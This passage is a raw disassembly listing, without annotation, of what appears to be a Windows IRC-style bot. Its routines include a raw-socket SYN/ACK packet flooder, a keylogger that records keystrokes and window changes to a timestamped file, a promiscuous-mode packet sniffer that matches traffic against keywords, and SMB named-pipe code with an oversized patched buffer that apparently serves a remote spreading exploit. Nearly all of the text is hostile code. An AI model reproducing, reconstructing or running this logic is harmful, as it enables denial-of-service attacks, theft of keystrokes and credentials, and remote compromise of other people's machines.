0FFh push 3 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25F0973h loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 25F0973h nop loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172B0 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25F0973h loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43F6A8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43F668 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730C mov esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730C cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43F668 mov [ebp+var_16], ax call sub_41730C cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_18], ax call dword_43F664 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43F668 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43F668 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25F0973h loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25F0973h sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax nop call near ptr 2610000h lea eax, [ebp+var_114] push 104h push eax nop call near ptr 2600889h lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F688 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 call near ptr 2600833h nop call dword_43F5F0 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43F548 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43F634 test ah, 80h jz short loc_402529 push 14h call dword_43F548 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43F548 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417078 pop ecx push 0 call near ptr 25F0973h nop sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43F668 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43F6A8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25F0973h loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 25F0973h loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43F614 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 25F0973h nop loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43F680 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43F5A4 movzx eax, ax push eax push [ebp+var_C] call dword_43F6F4 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43F5FC push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 25F0973h nop sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43C80C push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call near ptr 2620000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_43C808 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43F708 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43F708 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43C80C pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2620000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43F5A8 test eax, eax jz short loc_402B7D push 7D0h nop call near ptr 2600833h jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F678 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCD mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset off_427A80 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; 